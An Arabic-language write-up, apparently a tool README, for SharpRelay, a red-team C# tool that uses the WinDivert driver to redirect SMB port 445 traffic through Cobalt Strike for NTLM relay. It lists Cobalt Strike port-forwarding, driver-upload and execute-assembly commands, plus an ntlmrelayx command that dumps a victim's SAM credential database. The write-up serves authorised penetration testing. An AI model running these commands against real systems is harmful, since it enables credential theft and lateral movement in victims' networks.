
أداة C# تستخدم برنامج تشغيل WinDivert لاعتراض وإعادة توجيه حركة المرور على منفذ 445 في ويندوز لهجمات إعادة التوجيه NTLM عبر Cobalt Strike، مما يتيح الحركة الجانبية وجمع بيانات الاعتماد في عمليات الفريق الأحمر.
الشرط الوحيد لنجاح هذا الهجوم هو وجود beacon بصلاحيات مسؤول محلي أو القدرة على تحميل برامج التشغيل. يعمل الهجوم باستخدام SharpRelay كالتالي:
rportfwd الخاص بـ Cobalt Strike لتوجيه المنفذ 8445 من الجهاز المخترق إلى المنفذ 445 الخاص بـ teamserver الخاص بنا.يمكن تشغيل الأوامر المثال التالية من Cobalt Strike لتنفيذ هذه الإجراءات:
socks 4444
rportfwd 8445 127.0.0.1 445
cd C:\Users\victim
upload /root/Desktop/intercept.sys
execute-assembly /root/Desktop/SharpRelay.exe fakeservice C:\Users\victim\intercept.sys 445 8445
عند تنفيذ كل ما سبق بنجاح، تحتاج إلى بدء خادم التوجيه الخاص بك (قم بتكوين proxychains على المنفذ المحدد في الأوامر أعلاه، على سبيل المثال 4444):
proxychains ntlmrelayx.py -t smb://<VICTIM-IP> -smb2support
سيقوم الأمر أعلاه بتفريغ قاعدة بيانات SAM من جهاز الضحية. من الممكن أيضًا الحصول على واجهة SMB تفاعلية بالإضافة إلى تنفيذ الأوامر عن بُعد على الضحية.
تم اختبار SharpRelay ضد Win10 x64.
إذا كنت ترغب في بناء الأداة من المصدر، يمكنك القيام بما يلي:
تم اختبار التعليمات أعلاه باستخدام Visual Studio 2019.
يعتمد SharpRelay على برنامج تشغيل WinDivert. وفقًا لوصفه، WinDivert هو برنامج تشغيل kernel يسمح باعتراض وتعديل الحزم في وضع المستخدم. يحتاج المستخدم إلى تحديد عامل تصفية (filter) وسيتم اعتراض أي حزم تطابق هذا الفلتر ويمكن تعديلها.
من ملف ReadMe:
The WinDivert.sys driver is installed below the Windows network stack. The
following actions occur:
(1) A new packet enters the network stack and is intercepted by WinDivert.sys
(2a) If the packet matches the PROGRAM-defined filter, it is diverted. The
PROGRAM can then read the packet using a call to WinDivertRecv().
(2b) If the packet does not match the filter, the packet continues as normal.
(3) PROGRAM either drops, modifies, or re-injects the packet. PROGRAM can
re-inject the (modified) using a call to WinDivertSend().
بالنسبة لنا، أهم شيء يسمح لنا به WinDivert هو أنه يمكننا اعتراض حركة المرور المتجهة إلى منفذ Windows مفتوح وإعادة توجيهها إلى منفذ آخر عن طريق تعديل منافذ TCP المصدر والوجهة لكل حزمة، وإعادة حساب مجاميع TCP الاختبارية (checksums) وإعادة حقن الحزم في مكدس الشبكة.
على Windows، المنفذ 445 يعمل دائمًا بشكل افتراضي. لن أتعمق في تفاصيل العملية باستخدام المنفذ 445 لأن هذا تم تحليله بالفعل في المنشور التالي، لذا يرجى المتابعة وقراءته:
يحتوي المنشور أعلاه أيضًا على فكرة مثيرة للاهتمام أخرى. استخدام WinDivert لتنفيذ هجوم SMB relay عبر Metasploit. يمكنك تحميل عدد قليل من ملفات DLL وملف برنامج تشغيل إلى الجهاز الهدف مع divertTCPconn.exe وتنفيذها. وجدت هذا الهجوم رائعًا، لكن ما لم يعجبني هو أنه كان عليك تحميل ملفات DLL متعددة على الجهاز الهدف.
لذا كان هدفي هو تنفيذ نفس الهجوم مع إسقاط أقل عدد ممكن من الملفات على القرص وأيضًا تنفيذ الهجوم عبر Cobalt Strike.
أولاً، أردت الاستفادة من وظيفة execute-assembly الخاصة بـ Cobalt Strike لذا قررت كتابة الكود الخاص بي باستخدام إطار .NET. كان تفكيري الأولي هو إعادة كتابة divertTCPconn بلغة C# وبعد ذلك سيعمل كل شيء. اتضح أن هذا كان معقدًا للغاية. لحسن الحظ، وجدت حزمة NuGet التالية التي كتبها TechnikEmpire:
باستخدام WinDivertSharp، تمكنت من كتابة SharpRelay لتحميل برنامج التشغيل عن طريق إنشاء خدمة والتواصل مع برنامج تشغيل WinDivert لتنفيذ أي تعديل على الحزم أحتاجه.